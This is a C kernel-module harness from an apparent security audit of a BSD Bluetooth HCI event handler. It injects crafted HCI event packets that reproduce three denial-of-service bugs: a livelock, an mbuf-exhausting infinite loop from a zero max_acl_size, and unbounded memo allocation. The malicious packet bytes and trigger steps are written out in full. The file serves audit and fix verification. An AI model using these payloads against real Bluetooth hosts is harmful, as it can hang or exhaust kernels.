/*
 * harness.c -- KLD harness for the pass-2 audit of sys/netbt/hci_event.c
 * (findings DF-5734 / DF-5735 / DF-5736).
 *
 * The production files hci_event.c / hci_link.c / hci_misc.c / hci_unit.c /
 * bt_input.c are compiled into this module VERBATIM (copied from
 * /usr/src/sys/netbt by build.sh, md5s recorded).  This harness plays the
 * role the controller driver (ubt/btuart) plays in production: it attaches
 * a unit via the production hci_attach(), puts it and one ACL link into a
 * state that arises during normal operation, and injects synthetic HCI
 * *event* packets through the production entry point
 *
 *	hci_input_event()  ->  netisr(NETISR_BLUETOOTH)  ->  btintr()
 *	  -> hci_intr() -> hci_event() -> <handler under test>
 *
 * Triggers (sysctl, as root):
 *
 *   hw.hcih_setup = 1       attach fake unit + ACL link #5 (idempotent-ish)
 *   hw.hcih_arm_pdu = 1     queue 1 unsent PDU fragment on link #5 with
 *                           lp_pending == 0 (production state: PDU queued
 *                           while controller reported zero free buffers)
 *   hw.hcih_fire_numcompl = 1
 *                           [DF-5734] inject Num_Compl_Pkts(handle=5,num=1)
 *                           -> hci_acl_complete() spins forever (no-progress
 *                           loop) in netisr context while holding the mplock
 *   hw.hcih_fire_mtupoison = 1
 *                           [DF-5735] inject Command_Compl(READ_BUFFER_SIZE)
 *                           with max_acl_size = 0 during the init window,
 *                           then call hci_acl_send() exactly as
 *                           l2cap_lower.c:204 does -> fragmentation loop
 *                           never terminates (m_split(m,0) returns all data
 *                           in the tail; plen -= 0) -> mbuf pool drained
 *   hw.hcih_fire_memo = 1
 *                           [DF-5736] inject 64 Inquiry Result + 64 RSSI
 *                           Result events (16 unique bdaddrs each) and
 *                           count hci_memo allocations before/after
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/endian.h>

#include <net/netisr.h>

#include <netbt/bluetooth.h>
#include <netbt/hci.h>
#include <netbt/l2cap.h>
#include <netbt/sco.h>

/* ------------------------------------------------------------------ */
/* fake controller driver: the role ubt(4)/btuart(4) play             */

static int	 fake_enable(device_t);
static void	 fake_disable(device_t);
static void	 fake_output_cmd(device_t, struct mbuf *);
static void	 fake_output_acl(device_t, struct mbuf *);
static void	 fake_output_sco(device_t, struct mbuf *);
static void	 fake_get_stats(device_t, struct bt_stats *, int);

static const struct hci_if fake_hci_if = {
	fake_enable,
	fake_disable,
	fake_output_cmd,
	fake_output_acl,
	fake_output_sco,
	fake_get_stats,
};

static int  fake_enabled;
static long fake_cmds_sent;

static int
fake_enable(device_t dev)
{
	fake_enabled = 1;
	return 0;
}

static void
fake_disable(device_t dev)
{
	fake_enabled = 0;
}

static void
fake_output_cmd(device_t dev, struct mbuf *m)
{
	fake_cmds_sent++;
	m_freem(m);
}

static void
fake_output_acl(device_t dev, struct mbuf *m)
{
	m_freem(m);
}

static void
fake_output_sco(device_t dev, struct mbuf *m)
{
	m_freem(m);
}

static void
fake_get_stats(device_t dev, struct bt_stats *s, int arg)
{
	memset(s, 0, sizeof(*s));
}

/* ------------------------------------------------------------------ */

static struct hci_unit *g_unit;
static struct hci_link *g_link;
static int g_netisr_ok;

#define TEST_HANDLE	0x0005

/*
 * Build an mbuf carrying a complete HCI event packet (exactly what a
 * controller RX URB delivers) and hand it to the production input path.
 */
static void
inject_event(const uint8_t *pkt, int len, const char *tag)
{
	struct mbuf *m;
	int i;

	kprintf("[harness] <- %s (%d bytes):", tag, len);
	for (i = 0; i < len && i < 32; i++)
		kprintf(" %02x", pkt[i]);
	if (len > 32)
		kprintf(" ...");
	kprintf("\n");

	m = m_gethdr(M_NOWAIT, MT_DATA);
	KKASSERT(m != NULL);
	if (m_copyback2(m, 0, len, pkt, M_NOWAIT) != 0) {
		kprintf("[harness] m_copyback2 failed\n");
		m_freem(m);
		return;
	}

	hci_input_event(g_unit, m);	/* production entry point */
}

static int
wait_eventq_drain(int secs)
{
	int t;

	for (t = 0; t < secs * 10; t++) {
		if (g_unit->hci_eventqlen == 0 && IF_QEMPTY(&g_unit->hci_eventq))
			return 1;
		tsleep(g_unit, 0, "hcihw", hz / 10);
	}
	return (g_unit->hci_eventqlen == 0);
}

static int
memo_count(void)
{
	struct hci_memo *memo;
	int n = 0;

	LIST_FOREACH(memo, &g_unit->hci_memos, next)
		n++;
	return n;
}

/* ------------------------------------------------------------------ */
/* setup                                                              */

static int
hcih_setup(SYSCTL_HANDLER_ARGS)
{
	int v = 0, err;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	if (g_unit != NULL) {
		kprintf("[harness] unit already attached\n");
		return 0;
	}

	kprintf("[harness] === setup: attach unit + ACL link #%d ===\n",
	    TEST_HANDLE);

	g_unit = hci_attach(&fake_hci_if, (device_t)(uintptr_t)0xcafe0000UL, 0);
	KKASSERT(g_unit != NULL);

	/* driver up; in production the driver only feeds us events when
	 * the unit is enabled -- the handlers under test do not check */
	g_unit->hci_flags |= BTF_RUNNING;
	g_unit->hci_num_cmd_pkts = 1;

	/*
	 * One ACL link in the OPEN state.  This is the state that exists
	 * whenever an L2CAP channel is established and the controller has
	 * reported zero free ACL buffers (hci_num_acl_pkts == 0).
	 */
	g_link = hci_link_alloc(g_unit);	/* production allocator */
	KKASSERT(g_link != NULL);
	g_link->hl_type = HCI_LINK_ACL;
	g_link->hl_state = HCI_LINK_OPEN;
	g_link->hl_handle = TEST_HANDLE;

	kprintf("[harness] unit %p link %p attached, hci_num_acl_pkts=%d\n",
	    g_unit, g_link, g_unit->hci_num_acl_pkts);
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hcih_setup, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hcih_setup, "I", "attach fake HCI unit + ACL link");

/*
 * Queue one PDU with one unsent data fragment, lp_pending == 0 -- exactly
 * the production state after l2cap_send() -> hci_acl_send() queued a PDU
 * while hci_num_acl_pkts was 0 (hci_acl_start() returned at its
 * "hl_txqlen == 0 || hci_num_acl_pkts == 0" check).
 */
static int
hcih_arm_pdu(SYSCTL_HANDLER_ARGS)
{
	struct l2cap_pdu *pdu;
	struct mbuf *m;
	int v = 0, err;
	uint8_t buf[64];

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL && g_link != NULL);

	memset(buf, 'A', sizeof(buf));
	pdu = zalloc(l2cap_pdu_pool);
	KKASSERT(pdu != NULL);
	bzero(pdu, sizeof *pdu);

	m = m_gethdr(M_NOWAIT, MT_DATA);
	if (m == NULL) {
		kprintf("[harness] m_gethdr failed\n");
		zfree(l2cap_pdu_pool, pdu);
		return ENOMEM;
	}
	if (m_copyback2(m, 0, sizeof(buf), buf, M_NOWAIT) != 0) {
		kprintf("[harness] copyback failed\n");
		m_freem(m);
		zfree(l2cap_pdu_pool, pdu);
		return ENOMEM;
	}
	IF_ENQUEUE(&pdu->lp_data, m);

	TAILQ_INSERT_TAIL(&g_link->hl_txq, pdu, lp_next);
	g_link->hl_txqlen += 1;

	kprintf("[harness] armed: 1 PDU on link #%d txq, lp_pending=%d, "
	    "lp_data qlen=%d (waiting for free controller buffers)\n",
	    g_link->hl_handle, pdu->lp_pending, IF_QLEN(&pdu->lp_data));
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hcih_arm_pdu, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hcih_arm_pdu, "I", "queue unsent PDU (lp_pending=0) on link #5");

/* ------------------------------------------------------------------ */
/* DF-5734: Num_Compl_Pkts -> hci_acl_complete() no-progress livelock  */

static int
hcih_fire_numcompl(SYSCTL_HANDLER_ARGS)
{
	/* HCI event: Num_Compl_Pkts, 1 handle: (5, num=1) -- well-formed */
	uint8_t pkt[] = {
		0x04, 0x13, 0x05,	/* hdr: EVENT_NUM_COMPL_PKTS, len 5 */
		0x01,			/* num_con_handles = 1 */
		0x05, 0x00,		/* handle 0x0005 LE */
		0x01, 0x00,		/* num completed = 1 LE */
	};
	int v = 0, err;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL && g_link != NULL);

	{
		struct l2cap_pdu *p0 = TAILQ_FIRST(&g_link->hl_txq);

		if (p0 == NULL) {
			kprintf("[harness] link txq empty - run "
			    "hw.hcih_arm_pdu=1 first!\n");
			return ENOENT;
		}
		kprintf("[harness] pre-fire state: txq PDUs nonempty, head "
		    "lp_pending=%d, head lp_data qlen=%d (stuck-loop "
		    "precondition: pending==0 && qlen>0)\n",
		    p0->lp_pending, IF_QLEN(&p0->lp_data));
	}

	kprintf("[harness] === DF-5734: Num_Compl_Pkts(handle=5, num=1) "
	    "on link with queued-but-unsent PDU ===\n");
	kprintf("[harness] EXPECT: netisr btintr() -> hci_intr() -> "
	    "hci_event_num_compl_pkts() -> hci_acl_complete() spins forever "
	    "(no progress: head PDU has lp_pending=0 + data queued)\n");

	inject_event(pkt, sizeof(pkt), "Num_Compl_Pkts");

	kprintf("[harness] injected; if btintr does not return, the console "
	    "goes quiet here and the CPU burns in hci_acl_complete while "
	    "holding the mplock\n");
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hcih_fire_numcompl, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hcih_fire_numcompl, "I", "fire DF-5734 num_compl livelock");

/* ------------------------------------------------------------------ */
/* DF-5735: READ_BUFFER_SIZE completion with max_acl_size = 0          */

static int
hcih_fire_mtupoison(SYSCTL_HANDLER_ARGS)
{
	/* HCI event: Command_Compl, opcode 0x1005 (READ_BUFFER_SIZE),
	 * return params: status=0, max_acl_size=0, max_sco_size=0,
	 * num_acl_pkts=0, num_sco_pkts=0 (hci_read_buffer_size_rp) */
	uint8_t poison[] = {
		0x04, 0x0e, 0x0b,	/* hdr: EVENT_COMMAND_COMPL, len 11 */
		0x01,			/* num_cmd_pkts */
		0x05, 0x10,		/* opcode 0x1005 LE */
		0x00,			/* rp.status = 0 */
		0x00, 0x00,		/* rp.max_acl_size = 0  <-- POISON */
		0x00,			/* rp.max_sco_size */
		0x00, 0x00,		/* rp.num_acl_pkts */
		0x00, 0x00,		/* rp.num_sco_pkts */
	};
	uint8_t sane[] = {
		0x04, 0x0e, 0x0b,
		0x01,
		0x05, 0x10,
		0x00,
		0x40, 0x00,		/* max_acl_size = 0x40 */
		0x40,			/* max_sco_size */
		0x08, 0x00,		/* num_acl_pkts = 8 */
		0x08, 0x00,		/* num_sco_pkts = 8 */
	};
	struct mbuf *m;
	uint8_t buf[64];
	int v = 0, err, tries;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL && g_link != NULL);

	kprintf("[harness] === DF-5735: READ_BUFFER_SIZE completion "
	    "poisons hci_max_acl_size ===\n");

	/* open the init window that gates hci_cmd_read_buffer_size() */
	g_unit->hci_flags |= BTF_INIT_BUFFER_SIZE;

	if (v == 2) {
		kprintf("[harness] injecting SANE buffer size (fix-check)\n");
		inject_event(sane, sizeof(sane), "Command_Compl(READ_BUFFER_SIZE) sane");
	} else {
		inject_event(poison, sizeof(poison),
		    "Command_Compl(READ_BUFFER_SIZE) max_acl_size=0");
	}

	/* wait for netisr to process the completion (it clears the flag
	 * and does wakeup(unit), exactly what hci_enable() waits on) */
	for (tries = 0; tries < 30; tries++) {
		if ((g_unit->hci_flags & BTF_INIT_BUFFER_SIZE) == 0)
			break;
		tsleep(g_unit, 0, "hcihw", hz / 10);
	}

	if (g_unit->hci_flags & BTF_INIT_BUFFER_SIZE)
		kprintf("[harness] completion NOT applied (flag still set)\n");

	kprintf("[harness] hci_max_acl_size = %d%s\n",
	    g_unit->hci_max_acl_size,
	    g_unit->hci_max_acl_size == 0 ? "  <-- POISONED" : "");

	if (g_unit->hci_max_acl_size != 0)
		return 0;

	/*
	 * Now transmit on the link exactly the way the socket path does:
	 * sys/netbt/l2cap_lower.c:204:  return hci_acl_send(m, chan->lc_link,
	 *	chan);
	 */
	memset(buf, 'B', sizeof(buf));
	m = m_gethdr(M_NOWAIT, MT_DATA);
	if (m == NULL) {
		kprintf("[harness] m_gethdr failed\n");
		return ENOMEM;
	}
	if (m_copyback2(m, 0, sizeof(buf), buf, M_NOWAIT) != 0) {
		kprintf("[harness] copyback failed\n");
		m_freem(m);
		return ENOMEM;
	}

	kprintf("[harness] calling hci_acl_send(64 bytes): fragmentation "
	    "loop uses mlen = hci_max_acl_size = 0 -> m_split(m,0) keeps ALL "
	    "data in tail, plen -= 0 never decreases -> infinite loop, "
	    "draining the mbuf pool one empty packet-header mbuf at a "
	    "time...\n");

	err = hci_acl_send(m, g_link, NULL);

	kprintf("[harness] hci_acl_send returned %d -- only reachable after "
	    "the entire mbuf pool was exhausted into pdu->lp_data\n", err);
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hcih_fire_mtupoison, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hcih_fire_mtupoison, "I", "fire DF-5735 max_acl_size=0 poison (2=sane)");

/* ------------------------------------------------------------------ */
/* DF-5736: inquiry/RSSI results -> unbounded hci_memo allocation      */

static int
hcih_fire_memo(SYSCTL_HANDLER_ARGS)
{
	uint8_t pkt[3 + 1 + 16 * 14];
	int v = 0, err, ev, resp, before, after;
	static uint16_t bdctr;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL);

	before = memo_count();
	kprintf("[harness] === DF-5736: inquiry/RSSI result flood -> "
	    "hci_memo_new() ===\n");
	kprintf("[harness] memos before: %d\n", before);

	/* 64 Inquiry Result events + 64 RSSI Result events, each carrying
	 * 16 responses with unique bdaddrs (param length 1+16*14 = 225,
	 * within the 255-byte event param limit) */
	for (ev = 0; ev < 128; ev++) {
		uint8_t rssi = (ev >= 64);
		int off = 0;

		pkt[off++] = 0x04;
		pkt[off++] = rssi ? 0x22 : 0x02;	/* RSSI / INQUIRY RESULT */
		pkt[off++] = 1 + 16 * 14;
		pkt[off++] = 16;			/* num_responses */

		for (resp = 0; resp < 16; resp++) {
			int i;

			/* bdaddr (unique per response) */
			pkt[off++] = bdctr & 0xff;
			pkt[off++] = (bdctr >> 8) & 0xff;
			bdctr++;
			for (i = 0; i < 4; i++)
				pkt[off++] = 0xc0 + i;
			/* page_scan_rep_mode / period / mode (or blank) */
			pkt[off++] = 0x01;
			pkt[off++] = 0x00;
			pkt[off++] = 0x00;
			/* uclass[3] */
			pkt[off++] = 0x22;
			pkt[off++] = 0x22;
			pkt[off++] = 0x22;
			/* clock_offset lo/hi */
			pkt[off++] = 0x11;
			pkt[off++] = 0x11;
			if (rssi)
				pkt[off++] = 0xc0;	/* rssi */
		}
		KKASSERT(off == (int)sizeof(pkt));

		inject_event(pkt, off, rssi ? "RssiResult(16)" :
		    "InquiryResult(16)");
	}

	if (!wait_eventq_drain(30)) {
		kprintf("[harness] event queue did not drain!\n");
		return 0;
	}

	after = memo_count();
	kprintf("[harness] memos after: %d (allocated %d for %d responses, "
	    "none reclaimed: expiry reaps only on hci_memo_find)\n",
	    after, after - before, 128 * 16);
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hcih_fire_memo, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hcih_fire_memo, "I", "fire DF-5736 inquiry/rssi memo flood");

/* ------------------------------------------------------------------ */

static int
harness_mode(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		l2cap_pdu_pool = zinit("l2cap_pdu",
		    sizeof(struct l2cap_pdu), 1, ZONE_DESTROYABLE);
		l2cap_req_pool = zinit("l2cap_req",
		    sizeof(struct l2cap_req), 1, ZONE_DESTROYABLE);
		KKASSERT(l2cap_pdu_pool != NULL && l2cap_req_pool != NULL);

		netisr_register(NETISR_BLUETOOTH, btintr, NULL);
		g_netisr_ok = 1;

		kprintf("[harness] hci_event_harness loaded: "
		    "hcih_setup, hcih_arm_pdu, hcih_fire_numcompl, "
		    "hcih_fire_mtupoison, hcih_fire_memo\n");
		break;
	case MOD_UNLOAD:
		return EBUSY;
	default:
		break;
	}
	return 0;
}

static moduledata_t harness_moddata = {
	"hci_event_harness",
	harness_mode,
	NULL
};

DECLARE_MODULE(hci_event_harness, harness_moddata, SI_SUB_DRIVERS,
    SI_ORDER_MIDDLE);
